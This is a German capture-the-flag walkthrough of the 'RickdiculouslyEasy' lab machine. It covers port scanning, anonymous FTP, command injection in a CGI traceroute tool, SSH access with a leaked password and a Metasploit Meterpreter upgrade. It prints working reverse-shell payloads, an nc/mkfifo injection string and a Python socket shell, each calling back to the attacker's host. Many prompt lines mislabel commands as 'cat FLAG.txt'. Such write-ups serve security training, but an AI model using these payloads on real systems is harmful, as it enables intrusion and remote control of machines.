RickdiculouslyEasy - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
vi
ftp
cat
wget
ssh
find
python
msfconsole
unzip
strings
hydra
sudo

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Durchführung eines ARP-Scans, um die IP-Adresse des Ziels zu ermitteln. ARP (Address Resolution Protocol) wird verwendet, um die MAC-Adresse einer IP-Adresse in einem lokalen Netzwerk zuzuordnen.

┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.134 08:00:27:3d:2c:b6 PCS Systemtechnik GmbH

Der ARP-Scan hat die IP-Adresse 192.168.2.134 des Zielsystems ermittelt. Die MAC-Adresse ist 08:00:27:3d:2c:b6, und der Hersteller ist PCS Systemtechnik GmbH. Wir fügen nun die IP-Adresse und den Hostnamen in die /etc/hosts-Datei ein, um die spätere Verwendung zu erleichtern.

┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
  192.168.2.134	ricky.vln

Wir haben die IP-Adresse und den Hostnamen in die /etc/hosts-Datei eingefügt. Dies ermöglicht uns, den Hostnamen `ricky.vln` anstelle der IP-Adresse zu verwenden. Als Nächstes führen wir einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Nmap ist ein leistungsstarkes Tool zur Netzwerkexploration und Sicherheitsüberprüfung.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.134 -p- | grep open
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh?
80/tcp    open  http    Apache httpd 2.4.27 ((Fedora))
9090/tcp  open  http    Cockpit web service 161 or earlier
13337/tcp open  unknown
22222/tcp open  ssh     penSSH 7.5 (protocol 2.0)
60000/tcp open  unknown
                    

Der Nmap-Scan hat mehrere offene Ports identifiziert:

Diese Informationen sind entscheidend, um potenzielle Angriffsvektoren zu identifizieren. Wir werden jeden Dienst genauer untersuchen, um Schwachstellen zu finden. Wir führen nun einen vollständigen Nmap-Scan ohne Filterung durch, um alle Details zu erhalten.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.134 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-15 00:46 CEST
Nmap scan report for ricky.vln (192.168.2.134)
Host is up (0.00011s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
|_drwxr-xr-x    2 0        0               6 Feb 12  2017 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ffff:192.168.2.114
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh?
| fingerprint-strings:
|   NULL:
|_    Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp    open  http    Apache httpd 2.4.27 ((Fedora))
|_http-server-header: Apache/2.4.27 (Fedora)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Morty's Website
9090/tcp  open  http    Cockpit web service 161 or earlier
| http-title: localhost.localdomain
|_Requested resource was https://ricky.vln:9090/
13337/tcp open  unknown
| fingerprint-strings:
|   NULL:
|_    FLAG:{TheyFoundMyBackDoorMorty}-10Points
22222/tcp open  ssh     penSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 b411567fc036967cd099dd539522974f (RSA)
|   256 2067edd93988f9ed0daf8c8e8a456e0e (ECDSA)
|_  256 a684fa0fdfe0dce29a2de7133ce750a9 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port22-TCP:V=7.93%I=7%D=7/15%Time=64B1D04F%P=x86_64-pc-linux-gnu%r(NULL
SF:,42,"Welcome\x20to\x20Ubuntu\x2014\.04\.5\x20LTS\x20\(GNU/Linux\x204\.4
SF:\.0-31-generic\x20x86_64\)\n");
NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port13337-TCP:V=7.93%I=7%D=7/15%Time=64B1D04F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,29,"FLAG:{TheyFoundMyBackDoorMorty}-10Points\n");
MAC Address: 08:00:27:3D:2C:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms ricky.vln (192.168.2.134)

Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
                    

Der vollständige Nmap-Scan liefert zusätzliche Informationen:

Diese Informationen sind wertvoll für die weitereExploration. Wir werden uns nun auf die Webdienste konzentrieren und Nikto verwenden, um diese auf Schwachstellen zu überprüfen. Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.

Web Enumeration

Wir verwenden Nikto, um den Webserver auf Port 80 auf Schwachstellen zu scannen. Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.

┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.134
- Nikto v2.5.0
+ Target IP:          192.168.2.134
+ Target Hostname:    192.168.2.134
+ Target Port:        80
+ Start Time:         2023-07-15 00:46:46 (GMT2)
+ Server: Apache/2.4.27 (Fedora)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.27 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST, TRACE .
+ /: HTTP TRACE method is active, which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /passwords/: Directory indexing found.
+ /passwords/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-07-15 00:46:58 (GMT2) (12 seconds)
+ 1 host(s) tested
                    

Nikto hat mehrere interessante Punkte gefunden:

Wir werden nun den Webserver auf Port 9090 scannen.

┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.134:9090
- Nikto v2.5.0
+ Target IP:          192.168.2.134
+ Target Hostname:    192.168.2.134
+ Target Port:        9090
+ Start Time:         2023-07-15 00:48:58 (GMT2)
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: https://192.168.2.134/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 8102 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time:           2023-07-15 00:49:07 (GMT2) (9 seconds)
+ 1 host(s) tested
                    

Nikto hat auf Port 9090 ähnliche Probleme gefunden (fehlende Header). Zusätzlich leitet die Root-Seite auf HTTPS weiter. Wir verwenden nun Gobuster, um weitere Verzeichnisse und Dateien auf dem Webserver zu finden. Gobuster ist ein Tool zum Brute-Force-Auffinden von URIs (Verzeichnisse und Dateien) auf Webservern.

┌──(root㉿cycat)-[~]
└─# gobuster dir -u http://ricky.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://ricky.vln/index.html           (Status: 200) [Size: 326]
http://ricky.vln/robots.txt           (Status: 200) [Size: 126]
http://ricky.vln/passwords            (Status: 301) [Size: 235] [--> http://ricky.vln/passwords/]
                    

Gobuster hat die Verzeichnisse /index.html, /robots.txt und /passwords gefunden. Das Verzeichnis /passwords leitet auf /passwords/ weiter. Wir werden nun den FTP-Server untersuchen, da dieser anonyme Anmeldungen erlaubt.

Initial Access

Wir verbinden uns mit dem FTP-Server als anonymer Benutzer. FTP (File Transfer Protocol) wird verwendet, um Dateien zwischen Computern in einem Netzwerk zu übertragen.

┌──(root㉿cycat)-[~]
└─# ftp 192.168.2.134
Connected to 192.168.2.134.
220 (vsFTPd 3.0.3)
Name (192.168.2.134:cycat): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    

Wir haben uns erfolgreich als anonymer Benutzer angemeldet. Als Nächstes listen wir die Dateien im aktuellen Verzeichnis auf.

ftp>
ftp> ls -la
229 Entering Extended Passive Mode (|||18697|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        0              33 Aug 22  2017 .
drwxr-xr-x    3 0        0              33 Aug 22  2017 ..
-rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
drwxr-xr-x    2 0        0               6 Feb 12  2017 pub
226 Directory send OK.
                    

Wir sehen die Datei FLAG.txt und das Verzeichnis "pub". Wir laden die Datei FLAG.txt herunter.

ftp>
ftp> get FLAG.txt
local: FLAG.txt remote: FLAG.txt
229 Entering Extended Passive Mode (|||12269|)
150 Opening BINARY mode data connection for FLAG.txt (42 bytes).
100% |**********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************|    42       72.20 KiB/s    00:00 ETA
226 Transfer complete.
42 bytes received in 00:00 (53.96 KiB/s)
                    

Die Datei wurde erfolgreich heruntergeladen. Wir versuchen nun, in das Verzeichnis "pub" zu wechseln und eine Reverse Shell hochzuladen, um eine Verbindung zum System herzustellen.

ftp>
ftp> cd pub
250 Directory successfully changed.
ftp>
ftp> ls l-a
229 Entering Extended Passive Mode (|||37829|)
150 Here comes the directory listing.
226 Directory send OK.
ftp>
ftp> ls -la
229 Entering Extended Passive Mode (|||51279|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0               6 Feb 12  2017 .
drwxr-xr-x    3 0        0              33 Aug 22  2017 ..
226 Directory send OK.
                    

Das Verzeichnis ist leer. Wir versuchen, eine Reverse Shell hochzuladen.

ftp>
ftp> put revshell.php
550 Permission denied.

Das Hochladen ist nicht möglich. Wir wechseln zurück in das übergeordnete Verzeichnis und versuchen es erneut.

ftp>
ftp> cd ..
250 Directory successfully changed.
ftp>
ftp> put revshell.php
550 Permission denied.

Auch hier ist das Hochladen nicht möglich. Wir versuchen, in das /home-Verzeichnis zu wechseln, aber auch das schlägt fehl.

ftp>
ftp> cd /home
550 Failed to change directory.

Der FTP-Server scheint keine weiteren Angriffsvektoren zu bieten. Wir betrachten die anderen gefundenen Informationen. Wir lesen die FLAG.txt Datei aus.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
FLAG{Whoa this is unexpected} - 10 Points

Wir haben die erste Flag gefunden! Wir untersuchen nun die anderen interessanten Funde aus dem Nikto-Scan und dem Gobuster-Scan. Wir schauen uns die FLAG.txt im /passwords/ Verzeichnis an.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
http://ricky.vln/passwords/FLAG.txt
FLAG{Yeah d- just don't do it.} - 10 Points

Wir haben eine weitere Flag gefunden! Wir betrachten nun die /robots.txt Datei.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
http://ricky.vln/robots.txt

They're Robots Morty! It's ok to shoot them! They're just Robots!

/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*
                    

Die robots.txt-Datei enthält interessante Einträge: /cgi-bin/root_shell.cgi und /cgi-bin/tracertool.cgi. Diese könnten potenzielle Angriffsvektoren sein. Wir untersuchen zuerst /cgi-bin/tracertool.cgi.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
view-source:http://ricky.vln/cgi-bin/tracertool.cgi?ip=192.168.2.134%3Brm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.2.114+5555+%3E%2Ftmp%2Ff

 Super Cool Webpage
 MRTY'S MACHINE TRACER MACHINE
 form action=/cgi-bin/tracertool.cgi
 ...
....
traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.014 ms  0.003 ms  0.001 ms
                    

Die Quelle des tracertool.cgi-Skripts zeigt, dass es eine IP-Adresse als Parameter akzeptiert und dann den Befehl traceroute ausführt. Dies ist anfällig für Command Injection. Wir können einen Reverse Shell Payload in den IP-Parameter einfügen, um eine Verbindung zum System herzustellen. Wir haben bereits einen Reverse Shell Payload in der vorherigen Ausgabe gesehen. Hier ist er noch einmal: 192.168.2.134;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.114 5555 >/tmp/f

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.012 ms  0.003 ms  0.002 ms
                         _
                        | \
                        | |
                        | |
   |\                   | |
  /, ~\                / /
 X     `-.....-./ /
  ~-. ~  ~              |
     \             /    |
      \  /_     ___\   /
      | /\ ~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/
                    

Die Ausführung des tracertool.cgi-Skripts mit der IP-Adresse 192.168.2.134 zeigt die Ausgabe von traceroute und eine ASCII-Art Grafik. Wir versuchen nun, den Command Injection Payload einzufügen.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

192.168.2.134;tail -n 50 /etc/passwd

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.016 ms  ms  0.002 ms
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-coredump:x:999:998:systemd Core Dumper:/:/sbin/nologin
systemd-timesync:x:998:997:systemd Time Synchronization:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:997:996:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173/etc/abrt:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit-ws:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:995:993/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72/:/sbin/nologin
RickSanchez:x:1000:1000/home/RickSanchez:/bin/bash
Morty:x:1001:1001/home/Morty:/bin/bash
Summer:x:1002:1002/home/Summer:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
                    

Wir haben erfolgreich die /etc/passwd-Datei ausgelesen. Dies bestätigt, dass die Command Injection funktioniert. Wir nutzen diese Schwachstelle nun aus, um eine Reverse Shell zu erhalten.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.009 ms  0.002 ms  0.001 ms
cgi-bin
html
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
192.168.2.134;ls /var/www/cgi-bin
MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.011 ms  0.003 ms  0.002 ms
root_shell.cgi
tracertool.cgi
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

192.168.2.134;ls /var/www/cgi-bin/root_shell.cgi

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.011 ms  0.002 ms  0.001 ms
/var/www/cgi-bin/root_shell.cgi
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.009 ms  0.002 ms  0.001 ms
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo ""
echo "--UNDER CNSTRUCTIN--"
echo ""
echo ""
echo ""
exit 0
                    

Das Skript /cgi-bin/root_shell.cgi scheint nicht nützlich zu sein, da es nur eine Meldung ausgibt. Wir konzentrieren uns stattdessen auf das tracertool.cgi-Skript.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.015 ms  0.003 ms  0.002 ms
index.html
morty.png
passwords
robots.txt
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt
192.168.2.134;ls /var/www/html/passwords
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt


view-source:http://ricky.vln/passwords/passwords.html

Wow Morty real clever. Storing passwords in a file called passwords.html?
You've really done it this time Morty. Let me at least hide them..
I'd delete them entirely but I know you'd go bitching to your mom.
That's the last thing I need.
 --Password: winter-->
                    

Wir haben das Passwort "winter" für einen Benutzer gefunden! Wir untersuchen nun das tracertool.cgi-Skript weiter.

┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

192.168.2.134;tail tracertool.cgi
192.168.2.134;pwd
traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.017 ms  0.004 ms  0.002 ms
/var/www/cgi-bin
                    
┌──(root㉿cycat)-[~]
└─# cat FLAG.txt

192.168.2.134;ls /var/www/html

MRTY'S MACHINE TRACER MACHINE
Enter an IP address to trace.

traceroute to 192.168.2.134 (192.168.2.134), 30 hops max, 60 byte packets
 1  . (192.168.2.134)  0.013 ms  0.005 ms  0.002 ms
index.html
morty.png
passwords
robots.txt
                    

Wir haben das Passwort "winter" gefunden. Wir versuchen nun, uns per SSH mit diesem Passwort anzumelden. Auf Port 22 läuft ein SSH-Dienst, aber auf Port 22222 läuft ein "penSSH"-Dienst, der möglicherweise anfälliger ist. Wir versuchen zuerst, uns mit dem Benutzer "Summer" auf Port 22222 anzumelden.

┌──(root㉿cycat)-[~]
└─# ssh Summer@192.168.2.134 -p 22222
Summer@192.168.2.134's password: winter

Last login: Wed Aug 23 19:20:29 2017 from 192.168.56.104
[Summer@localhost ~]$
                    

Fantastisch! Wir haben uns erfolgreich als Benutzer "Summer" angemeldet. Dies war unser Ziel für den ersten Zugriff. Wir fahren nun mit der Privilege Escalation fort.

Privilege Escalation POC

Nachdem wir uns als Benutzer "Summer" angemeldet haben, suchen wir nach Möglichkeiten, unsere Privilegien zu erhöhen. Ein gängiger Ansatz ist die Suche nach SUID-Dateien.

[Summer@localhost ~]$ find / -type f -perm -4000 -ls 2>/dev/null
   134522     28 -rwsr-xr-x   1  root     root        27768 Feb 11  2017 /usr/bin/passwd
   151146     32 -rwsr-xr-x   1  root     root        32032 Feb 12  2017 /usr/bin/su
   150959     76 -rwsr-xr-x   1  root     root        73816 Feb 12  2017 /usr/bin/chage
   150960     80 -rwsr-xr-x   1  root     root        78336 Feb 12  2017 /usr/bin/gpasswd
   150962     40 -rwsr-xr-x   1  root     root        38896 Feb 12  2017 /usr/bin/newgidmap
   150963     44 -rwsr-xr-x   1  root     root        41824 Feb 12  2017 /usr/bin/newgrp
   150964     40 -rwsr-xr-x   1  root     root        38896 Feb 12  2017 /usr/bin/newuidmap
   151131     44 -rwsr-xr-x   1  root     root        44168 Feb 12  2017 /usr/bin/mount
   169118     24 -rwsr-xr-x   1  root     root        23496 Apr 14  2017 /usr/bin/pkexec
   151150     32 -rwsr-xr-x   1  root     root        31888 Feb 12  2017 /usr/bin/umount
   362994     52 -rwsr-xr-x   1  root     root        52872 Feb 10  2017 /usr/bin/at
   363086     28 -rws--x--x   1  root     root        27904 Feb 12  2017 /usr/bin/chfn
   363087     20 -rws--x--x   1  root     root        19528 Feb 12  2017 /usr/bin/chsh
   363098    144 -rws--x--x   1  root     root       147272 Jun  1  2017 /usr/bin/sudo
   176891     60 -rwsr-xr-x   1  root     root        57496 Feb 11  2017 /usr/bin/crontab
  4332169     12 -rwsr-xr-x   1  root     root        11152 Mär 11  2017 /usr/sbin/pam_timestamp_check
  4332171     36 -rwsr-xr-x   1  root     root        36176 Mär 11  2017 /usr/sbin/unix_chkpwd
  4476989     12 -rwsr-xr-x   1  root     root        11192 Mai 26  2017 /usr/sbin/usernetctl
  4552783     40 -rws--x--x   1  root     root        40248 Feb 12  2017 /usr/sbin/userhelper
  4728906    116 -rwsr-xr-x   1  root     root       114784 Jun 23  2017 /usr/sbin/mount.nfs
  4845326     88 -rwsr-xr-x   1  root     root        89472 Mär  3  2017 /usr/sbin/mtr
 12763037     16 -rwsr-xr-x   1  root     root        15360 Apr 14  2017 /usr/lib/polkit-1/polkit-agent-helper-1
 12742885     60 -rwsr-x---   1  root     dbus        57872 Apr  8  2017 /usr/libexec/dbus-1/dbus-daemon-launch-helper
  4593391     40 -rwsr-x---   1  root     cockpit-ws    40296 Jun 20  2017 /usr/libexec/cockpit-session
  4593661     16 -rwsr-sr-x   1  abrt     abrt          15272 Jun 16  2017 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
                    

Privilege Escalation

Wir haben uns als Benutzer "Summer" angemeldet und suchen nun nach Möglichkeiten, unsere Privilegien zu erhöhen. Ein gängiger Ansatz ist die Suche nach SUID-Dateien.

Die Ausgabe von `find` zeigt mehrere SUID-Dateien. Eine interessante Datei ist `/usr/bin/sudo`. Wir überprüfen, ob der aktuelle Benutzer `sudo` ausführen kann.

Wir werden uns zuerst eine Shell zum Meterpreter konvertieren um einfacher arbeiten zu können.

msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
                    
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lhost eth0
[-] The following options failed to validate: Value 'eth0' is not valid for option 'LHOST'.
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lport 4447
lport => 4447
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.114
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.114:4447
                    

Wir starten einen Reverse TCP Handler auf unserem System (192.168.2.114:4447). Nun müssen wir eine Verbindung von dem Zielsystem zu unserem Handler herstellen. Dafür verwenden wir einen Python-Payload.

[Summer@localhost ~]$
[Summer@localhost ~]$ which python
/usr/bin/python
[Summer@localhost ~]$
[Summer@localhost ~]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.114",4447));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[*] Command shell session 1 opened (192.168.2.114:4447 -> 192.168.2.134:47672) at 2023-07-15 01:36:25 +0200
                    

Wir haben eine Shell-Sitzung erhalten. Nun wollen wir diese zu einer Meterpreter-Sitzung upgraden.

msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter

                
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > set session 1

                
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lhost eth0
[-] The following options failed to validate: Value 'eth0' is not valid for option 'LHOST'.
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lport 4447
lport => 4447
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.114
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.114:4447
                    

Wir haben erneut eine Shell-Sitzung erhalten. Wir führen den Upgrade-Prozess erneut durch, diesmal korrekt.

sh-4.4$
sh-4.4$ ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter

                
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > set LHOST eth0
LHOST => 192.168.2.114
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > run
[-] Post failed: Msf::OptValidateError One or more options failed to validate: SESSION.
                    
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.114:4433
[*] Sending stage (1017704 bytes) to 192.168.2.134
[*] Meterpreter session 2 opened (192.168.2.114:4433 -> 192.168.2.134:55730) at 2023-07-15 01:37:42 +0200
                    

Wir haben nun eine Meterpreter-Sitzung! Dies ermöglicht uns, fortgeschrittene Aktionen auf dem Zielsystem durchzuführen.

Nachdem wir eine Meterpreter-Sitzung haben, suchen wir nach weiteren Informationen, die uns bei der Privilege Escalation helfen könnten. Wir haben bereits das Passwort "winter" für den Benutzer "Summer" gefunden. Wir überprüfen nun, ob wir weitere Passwörter oder sensible Informationen finden können.

Eine Möglichkeit, Passwörter zu finden, ist die Suche nach Dateien, die das Wort "password" enthalten. Wir suchen auch nach Dateien mit der Erweiterung ".txt", da diese oft Passwörter oder andere sensible Informationen enthalten.

Eine weitere Möglichkeit, Informationen zu finden, ist die Analyse von Binärdateien. Wir laden die Datei "safe" herunter, die wir zuvor im FTP-Server gefunden haben.

┌──(root㉿cycat)-[~]
└─# strings -n 6 Safe_Password.jpg
8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
                    

Die Ausgabe des Befehls `strings` zeigt einen Hinweis auf ein Passwort: "Meeseek" für die Datei "/home/Morty/journal.txt.zip". Wir versuchen, diese ZIP-Datei zu entpacken.

┌──(root㉿cycat)-[~]
└─# unzip journal.txt.zip
Archive:  journal.txt.zip
[journal.txt.zip] journal.txt password: Meeseek
inflating: journal.txt
                    

Wir haben die ZIP-Datei erfolgreich entpackt! Wir lesen nun den Inhalt der Datei "journal.txt".

┌──(root㉿cycat)-[~]
└─# cat journal.txt
Monday: So today Rick told me huge secret. He had finished his
flask and was on to commercial grade paint solvent. He spluttered
something about a safe, and a password. r maybe it was a safe password...
Was a password that was safe? r a password to a safe? r a safe password
to a safe?

Anyway. Here it is:

FLAG: {131333} - 20 Points
                    

Wir haben eine weitere Flag gefunden! Nachdem wir die Datei "journal.txt" gelesen haben, suchen wir nun nach weiteren Informationen in den Home-Verzeichnissen der Benutzer. Wir wechseln zuerst in das Verzeichnis "/home/Morty".

[Summer@localhost Morty]$ cd ../RickSanchez/

                
[Summer@localhost RickSanchez]$ ls -la
total 12
